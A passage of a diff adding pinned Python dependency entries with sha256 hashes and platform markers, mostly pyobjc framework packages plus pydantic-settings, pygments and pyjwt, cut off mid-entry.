--hash=sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1 \ + --hash=sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb \ + --hash=sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c +pydantic-settings==2.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:d0e87a1c7d33593beb7194adb8470fc426e95ba02af83a0f23474a04c9a08180 \ + --hash=sha256:fe2cea3413b9530d10f3a5875adffb17ada5c1e1bab0b2885546d7310415207c +pygments==2.20.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f \ + --hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176 +pyjwt==2.14.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:77283c83fb56ecf566a886c757a714bc83668e38156de2cce8263302f42e0b86 \ + --hash=sha256:ad0cef71c756a56e74863c2919cf0985f72decbcfcb550ee2f422e7c62b5eedc +pyobjc==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:903f822cba40be53d408b8eaf834514937ec0b4e6af1c5ecc24fcb652812dd85 \ + --hash=sha256:a71b14389657811d658526ba4d5faba4ef7eadbddcf9fe8bf4fb3a6261effba3 +pyobjc-core==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:b63d4d90c5df7e762f34739b39cc55bc63dbcf9fb2fb3f2671e528488c7a87fe +pyobjc-framework-accessibility==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:c0fa5f1e00906ec002f582c7d3d80463a46d19f672bf5ec51144f819eeb40656 +pyobjc-framework-accounts==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:384fec156e13ff75253bb094339013f4013464f6dfd47e2f7de3e2ae7441c030 \ + --hash=sha256:9c3fe342be7b8e73cba735e5a38affbe349cf8bc19091aa4fd788eabf2074b72 +pyobjc-framework-addressbook==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:ce2db3be4a3128bf79d5c41319a6d16b73754785ce75ac694d0d658c690922fc +pyobjc-framework-adservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:1744f59a75b2375e139c39f3e85658e62cd10cc0f12b158a80421f18734e9ffc \ + --hash=sha256:44c72f8163705c9aa41baca938fdb17dde257639e5797e6a5c3a2b2d8afdade9 +pyobjc-framework-adsupport==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:78b9667c275785df96219d205bd4309731869c3298d0931e32aed83bede29096 \ + --hash=sha256:c3e009612778948910d3a7135b9d77b9b7c06aab29d40957770834c083acf825 +pyobjc-framework-applescriptkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:477707352eaa6cc4a5f8c593759dc3227a19d5958481b1482f0d59394a4601c3 \ + --hash=sha256:e22cbc9d1a25a4a713f21aa94dd017c311186b02062fc7ffbde3009495fb0067 +pyobjc-framework-applescriptobjc==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:ac22526fd1f0a3b07ac1d77f90046b77f10ec9549182114f2428ee1e96d3de2b \ + --hash=sha256:c8a0ec975b64411a4f16a1280c5ea8dbe949fd361e723edd343102f0f95aba6e +pyobjc-framework-applicationservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:03fcd8c0c600db98fa8b85eb7b3bc31491701720c795e3f762b54e865138bbaf +pyobjc-framework-apptrackingtransparency==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:796cc5f83346c10973806cfb535d4200b894a5d2626ff2eeb1972d594d14fed4 \ + --hash=sha256:e25c3eae25d24ee8b523b7ecc4d2b07af37c7733444b80c4964071dea7b0cb19 +pyobjc-framework-audiovideobridging==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:12756b3aa35083b8ad5c9139b6a0e2f4792e217096b5bf6b702d499038203991 +pyobjc-framework-authenticationservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:8fd801cdb53d426b4e678b0a8529c005d0c44f5a17ccd7052a7c3a1a87caed6a +pyobjc-framework-automaticassessmentconfiguration==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:70eadbf8600101901a56fcd7014d8941604e14f3b3728bc4fb0178a9a9420032 +pyobjc-framework-automator==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:9b46c55a4f9ae2b3c39ff560f42ced66bdd18c093188f0b5fc4060ad911838e4 +pyobjc-framework-avfoundation==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:6663056cc6ca49af8de6d36a7fff498f51e1a9a7f1bde7afba718a8ceaaa7377 +pyobjc-framework-avkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:d948204a7b94e0e878b19a909f9b33342e19d9ea519571d66a21fce8f72e3263 +pyobjc-framework-avrouting==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:7db1291d9f53cc58d34b2a826feb721a85f50ceb5e71952e8762baacd3db3fc0 +pyobjc-framework-backgroundassets==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:2e14b50539d96d5fca70c49f21b69fdbad81a22549e3630f5e4f20d5c0204fc2 +pyobjc-framework-browserenginekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.4' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:918440cefb10480024f645169de3733e30ede65e41267fa12c7b90c264a0a479 +pyobjc-framework-businesschat==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:69589d2f0cb4e7892e5ecc6aed79b1abd1ec55c099a7faacae6a326bc921259d \ + --hash=sha256:7fdc1219b988ce3ae896bffd01f547c06cec3b4e4b2d0aa04d251444d7f1c2db +pyobjc-framework-calendarstore==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:858ee00e6a380d9c086c2d7db82c116a6c406234038e0ec8fc2ad02e385dc437 \ + --hash=sha256:bf066e17392c978becf17a61863eb81727bf593a2bfdab261177126072557e24 +pyobjc-framework-callkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:b84d5ea38dff0cbe0754f5f9f6f33c742e216f12e7166179a8ec2cf4b0bfca94 +pyobjc-framework-carbon==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:047f098535479efa3ab89da1ebdf3cf9ec0b439a33a4f32806193886e9fcea71 \ + --hash=sha256:1bf66853e939315ad7ee968170b16dd12cb838c42b80dfcd5354687760998825 +pyobjc-framework-cfnetwork==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:ad600163eeadb7bf71abc51a9b6f2b5462a018d3f9bb1510c5ce3fdf2f22959d +pyobjc-framework-cinematic==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:b62c024c1a9c7890481bc2fdfaf0cd3c251a4a08357d57dc1795d98920fcdbd1 \ + --hash=sha256:efde39a6a2379e1738dbc5434b2470cd187cf3114ffb81390b3b1abda470b382 +pyobjc-framework-classkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:ee1e26395eb00b3ed5442e3234cdbfe925d2413185af38eca0477d7166651df4 +pyobjc-framework-cloudkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:40d2dc4bf28c5be9b836b01e4d267a15d847d756c2a65530e1fcd79b2825e86d \ + --hash=sha256:c583e40c710cf85ebe34173d1d2995e832a20127edc8899b2f35b13f98498af1 +pyobjc-framework-cocoa==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:87df76b9b73e7ca699a828ff112564b59251bb9bbe72e610e670a4dc9940d038 +pyobjc-framework-collaboration==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:3629ea5b56c513fb330d43952afabb2df2a2ac2f9048b8ec6e8ab4486191390a \ + --hash=sha256:4564e3931bfc51773623d4f57f2431b58a39b75cb964ae5c48d27ee4dde2f4ea +pyobjc-framework-colorsync==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:7a346f71f34b2ccd1b020a34c219b85bf8b6f6e05283d503185aeb7767a269dd \ + --hash=sha256:d19d6da2c7175a3896a63c9b40a8ab98ade0779a5b40062789681501c33efd5c +pyobjc-framework-contacts==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:752036e7d8952a4122296d7772f274170a5f35a53ee6454a27f3e1d9603222cc +pyobjc-framework-contactsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:5bc29ea2b10a342018e1b96be6b140c10ebe3cfb6417278770feef5e88026a1f +pyobjc-framework-coreaudio==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:b7b89540ae7efc6c1e3208ac838ef2acfc4d2c506dd629d91f6b3b3120e55c1b +pyobjc-framework-coreaudiokit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:0b461c3d6123fda4da6b6aaa022efc918c1de2e126a5cf07d2189d63fa54ba40 +pyobjc-framework-corebluetooth==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:1deba46e3fcaf5e1c314f4bbafb77d9fe49ec248c493ad00d8aff2df212d6190 +pyobjc-framework-coredata==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:fe9fd985f8e06c70c0fb1e6bbea5b731461f9e76f8f8d8e89c7c72667cdc6adf +pyobjc-framework-corehaptics==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:8f8c47ccca5052d07f95d2f35e6e399c5ac1f2072ba9d9eaae902edf4e3a7af4 \ + --hash=sha256:e5da3a97ed6aca9b7268c8c5196c0a339773a50baa72d1502d3435dc1a2a80f1 +pyobjc-framework-corelocation==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:46a67b99925ee3d53914331759c6ee110b31bb790b74b05915acfca41074c206 +pyobjc-framework-coremedia==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:82cdc087f61e21b761e677ea618a575d4c0dbe00e98230bf9cea540cff931db3 +pyobjc-framework-coremediaio==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:bccd69712578b177144ded398f4695d71a765ef61204da51a21f0c90b4ad4c64 +pyobjc-framework-coremidi==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:095030c59d50c23aa53608777102bc88744ff8b10dfb57afe24b428dcd12e376 +pyobjc-framework-coreml==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:775923eefb9eac2e389c0821b10564372de8057cea89f1ea1cdaf04996c970a7 +pyobjc-framework-coremotion==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:5884a568521c0836fac39d46683a4dea3d259a23837920897042ffb922d9ac3e +pyobjc-framework-coreservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:cf8eb5e272c60a96d025313eca26ff2487dcd02c47034cc9db39f6852d077873 +pyobjc-framework-corespotlight==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:4dd363c8d3ff7619659b63dd31400f135b03e32435b5d151459ecdacea14e0f2 +pyobjc-framework-coretext==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:a29bbd5d85c77f46a8ee81d381b847244c88a3a5a96ac22f509027ceceaffaf6 +pyobjc-framework-corewlan==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:4a8afea75393cc0a6fe696e136233aa0ed54266f35a47b55a3583f4cb078e6ce +pyobjc-framework-cryptotokenkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:5f82f44d9ab466c715a7c8ad4d5ec47c68aacd78bd67b5466a7b8215a2265328 +pyobjc-framework-datadetection==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:5afd3dde7bba3324befb7a3133c9aeaa5088efd72dccc0804267a74799f4a12f \ + --hash=sha256:cbe0080b51e09b2f91eaf2a9babec3dcf2883d7966bc0abd8393ef7abfcfc5db +pyobjc-framework-devicecheck==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:8b05973eb2673571144d81346336e749a21cec90bd7fcaade76ffd3b147a0741 \ + --hash=sha256:8edb36329cdd5d55e2c2c57c379cb5ba1f500f74a08fe8d2612b1a69b7a26435 +pyobjc-framework-devicediscoveryextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:96e5b13c718bd0e6c80fbd4e14b8073cffc88b3ab9bb1bbb4dab7893a62e4f11 \ + --hash=sha256:ae160ea40f25d3ee5e7ce80ac9c1b315f94d0a4c7ccb86920396f71c6bf799a0 +pyobjc-framework-dictionaryservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:39c24452d0ddd037afeb73a1742614c94535f15b1c024a8a6cc7ff081e1d22e7 \ + --hash=sha256:92f4871066653f18e2394ac93b0a2ab50588d60020f6b3bd93e97b67cd511326 +pyobjc-framework-discrecording==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:37585458e363b20bb28acdb5cc265dfca934d8a07b7baed2584953c11c927a87 +pyobjc-framework-discrecordingui==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:33233b87d7b85ce277a51d27acca0f5b38485cf1d1dc8e28a065910047766ee2 \ + --hash=sha256:a9f10e2e7ee19582c77f0755ae11a64e3d61c652cbd8a5bf52756f599be24797 +pyobjc-framework-diskarbitration==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:6a8e551e54df481a9081abba6fd680f6633babe5c7735f649731b22896bb6f08 \ + --hash=sha256:a933efc6624779a393fafe0313e43378bcae2b85d6d15cff95ac30048c1ef490 +pyobjc-framework-dvdplayback==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:6094e4651ea29540ac817294b27e1596b9d1883d30e78fb5f9619daf94ed30cb \ + --hash=sha256:b44c36a62c8479e649133216e22941859407cca5796b5f778815ef9340a838f4 +pyobjc-framework-eventkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:5643150f584243681099c5e9435efa833a913e93fe9ca81f62007e287349b561 \ + --hash=sha256:c303207610d9c742f4090799f60103cede466002f3c89cf66011c8bf1987750b +pyobjc-framework-exceptionhandling==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:31e6538160dfd7526ac0549bc0fce5d039932aea84c36abbe7b49c79ffc62437 \ + --hash=sha256:e010f56bf60ab4e9e3225954ebb53e9d7135d37097043ac6dd2a3f35770d4efa +pyobjc-framework-executionpolicy==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:3280ad2f4c5eaf45901f310cee0c52db940c0c63e959ad082efb8df41055d986 \ + --hash=sha256:7d4141e572cb916e73bb34bb74f6f976a8aa0a396a0bffd1cf66e5505f7c76c8 +pyobjc-framework-extensionkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:c114a96f13f586dbbab8b6219a92fa4829896a645c8cd15652a6215bc8ff5409 +pyobjc-framework-externalaccessory==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:50887e948b78a1d94646422c243ac2a9e40761675e38b9184487870a31e83371 +pyobjc-framework-fileprovider==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:748ca1c75f84afdf5419346a24bf8eec44dca071986f31f00071dc191b3e9ca8 +pyobjc-framework-fileproviderui==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:162a23e67f59e1bb247e84dda88d513d7944d815144901a46be6fe051b6c7970 \ + --hash=sha256:f2765f114c2f4356aa41fb45c621fa8f0a4fae0b6d3c6b1a274366f5fe7fe829 +pyobjc-framework-findersync==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:692364937f418f0e4e4abd395a09a7d4a0cdd55fd4e0184de85ee59642defb6e \ + --hash=sha256:c72b0fd8b746b99cfa498da36c5bb333121b2080ad73fa8cbea05cd47db1fa82 +pyobjc-framework-fsevents==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:d29157d04124503c4dfa9dcbbdc8c34d3bab134d3db3a48d96d93f26bd94c14d +pyobjc-framework-fskit==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.4' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:9ded1eab19b4183cb04381e554bbbe679c1213fd58599d6fc6e135e93b51136f +pyobjc-framework-gamecenter==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:a1c4ed54e11a6e4efba6f2a21ace92bcf186e3fe5c74a385b31f6b1a515ec20c +pyobjc-framework-gamecontroller==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:4d5346faf90e1ebe5602c0c480afbf528a35a7a1ad05f9b49991fdd2a97f105b +pyobjc-framework-gamekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:9b8db075da8866c4ef039a165af227bc29393dc11a617a40671bf6b3975ae269 +pyobjc-framework-gameplaykit==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:9ae2bee69b0cc1afa0e210b4663c7cdbb3cc94be1374808df06f98f992e83639 +pyobjc-framework-healthkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:20f59bd9e1ffafe5893b4eff5867fdfd20bd46c3d03bc4009219d82fc6815f76 +pyobjc-framework-imagecapturecore==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:a610ceb6726e385b132a1481a68ce85ccf56f94667b6d6e1c45a2cfab806a624 +pyobjc-framework-inputmethodkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:7037579524041dcee71a649293c2660f9359800455a15e6a2f74a17b46d78496 +pyobjc-framework-installerplugins==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:363e59c7e05553d881f0facd41884f17b489ff443d7856e33dd0312064c746d9 \ + --hash=sha256:f92b06c9595f3c800b7aabf1c1a235bfb4b2de3f5406d5f604d8e2ddd0aecb4e +pyobjc-framework-instantmessage==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:a70b716e279135eec5666af031f536c0f32dec57cfeae55cc9ff8457f10d4f3d \ + --hash=sha256:c222aa61eb009704b333f6e63df01a0e690136e7e495907e5396882779bf9525 +pyobjc-framework-intents==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:13185f206493f45d6bd2d4903c2136b1c4f8b9aa37628309ace6ff4a906b4695 +pyobjc-framework-intentsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:c8182155af4dce369c18d6e6ed9c25bbd8110c161ed5f1b4fb77cf5cdb99d135 +pyobjc-framework-iobluetooth==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:094fd4be60cd1371b17cb4b33a3894e0d88a11b36683912be0540a7d51de76f1 +pyobjc-framework-iobluetoothui==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:060c721f1cd8af4452493e8153b72b572edcd2a7e3b635d79d844f885afee860 \ + --hash=sha256:3c5a382d81f319a1ab9ab11b7ead04e53b758fdfeb604755d39c3039485eaac6 +pyobjc-framework-iosurface==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:0c36ad56f8ec675dd07616418a2bc29126412b54627655abd21de31bcafe2a79 \ + --hash=sha256:a468b3a31e8cd70a2675a3ddc7176ab13aa521c035f11188b7a3af8fff8b148b +pyobjc-framework-ituneslibrary==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:4e87d41f82acb6d98cf70ac3c932a568ceb3c2035383cbf177f54e63de6b815f \ + --hash=sha256:e2212a9340e4328056ade3c2f9d4305c71f3f6af050204a135f9fa9aa3ba9c5e +pyobjc-framework-kernelmanagement==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:e934d1638cd89e38d6c6c5d4d9901b4295acee2d39cbfe0bd91aae9832961b44 \ + --hash=sha256:ec74690bd3383a7945c4a038cc4e1553ec5c1d2408b60e2b0003a3564bff7c47 +pyobjc-framework-latentsemanticmapping==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:57f3b183021759a100d2847a4d8aa314f4033be3d2845038b62e5e823d96e871 \ + --hash=sha256:c6c3142301e4d375c24a47dfaeebc2f3d0fc33128a1c0a755794865b9a371145 +pyobjc-framework-launchservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:80b55368b1e208d6c2c58395cc7bc12a630a2a402e00e4930493e9bace22b7bb \ + --hash=sha256:8b58f1156651058b2905c87ce48468f4799db86a7edf760e1897fedd057a3908 +pyobjc-framework-libdispatch==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:11a704e50a0b7dbfb01552b7d686473ffa63b5254100fdb271a1fe368dd08e87 +pyobjc-framework-libxpc==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:8fd7468aa520ff19915f6d793070b84be1498cb87224bee2bad1f01d8375273a +pyobjc-framework-linkpresentation==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:018093469d780a45d98f4e159f1ea90771caec456b1599abcc6f3bf3c6873094 \ + --hash=sha256:a785f393b01fdaada6d7d6d8de46b7173babba205b13b44f1dc884b3695c2fc9 +pyobjc-framework-localauthentication==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:3cd48907c794bd414ac68b8ac595d83c7e1453b63fc2cfc2d2035b690d31eaa1 +pyobjc-framework-localauthenticationembeddedui==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:22baf3aae606e5204e194f02bb205f244e27841ea7b4a4431303955475b4fa56 \ + --hash=sha256:3539a947b102b41ea6e40e7c145f27280d2f36a2a9a1211de32fa675d91585eb +pyobjc-framework-mailkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:8e6026462567baba194468e710e83787f29d9e8c98ea0583f7b401ea9515966e \ + --hash=sha256:bf97dc44cb09b9eb9d591660dc0a41f077699976144b954caa4b9f0479211fd7 +pyobjc-framework-mapkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:f3a5016f266091be313a118a42c0ea4f951c399b5259d93639eb643dacc626f1 +pyobjc-framework-mediaaccessibility==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:52479a998fec3d079d2d4590a945fc78c41fe7ac8c76f1964c9d8156880565a4 \ + --hash=sha256:cd07e7fc375ff1e8d225e0aa2bd9c2c1497a4d3aa5a80bfb13b08800fcd7f034 +pyobjc-framework-mediaextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:85a1c8a94e9175fb364c453066ef99b95752343fd113f08a3805cad56e2fa709 +pyobjc-framework-medialibrary==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:102f4326f789734b7b2dfe689abd3840ca75a76fb8058bd3e4f85398ae2ce29d \ + --hash=sha256:779be84bd280f63837ce02028ca46b41b090902aa4205887ffd5777f49377669 +pyobjc-framework-mediaplayer==11.1 ; platform_machine == 'x86_64' and platform_release >= '16.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:b655cf537ea52d73209eb12935a047301c30239b318a366600f0f44335d51c9a \ + --hash=sha256:d07a634b98e1b9eedd82d76f35e616525da096bd341051ea74f0971e0f2f2ddd +pyobjc-framework-mediatoolbox==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:97834addc5179b3165c0d8cd74cc97ad43ed4c89547724216426348aca3b822a +pyobjc-framework-metal==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:f9fd3b7574a824632ee9b7602973da30f172d2b575dd0c0f5ef76b44cfe9f6f9 +pyobjc-framework-metalfx==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:555c1b895d4ba31be43930f45e219a5d7bb0e531d148a78b6b75b677cc588fd8 +pyobjc-framework-metalkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + --hash=sha256:8811cd81ee9583b9330df4f2499a73dcc53f3359cb92767b409acaec9e4faa1e +pyobjc-framework-metalperformanceshaders==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' \ + 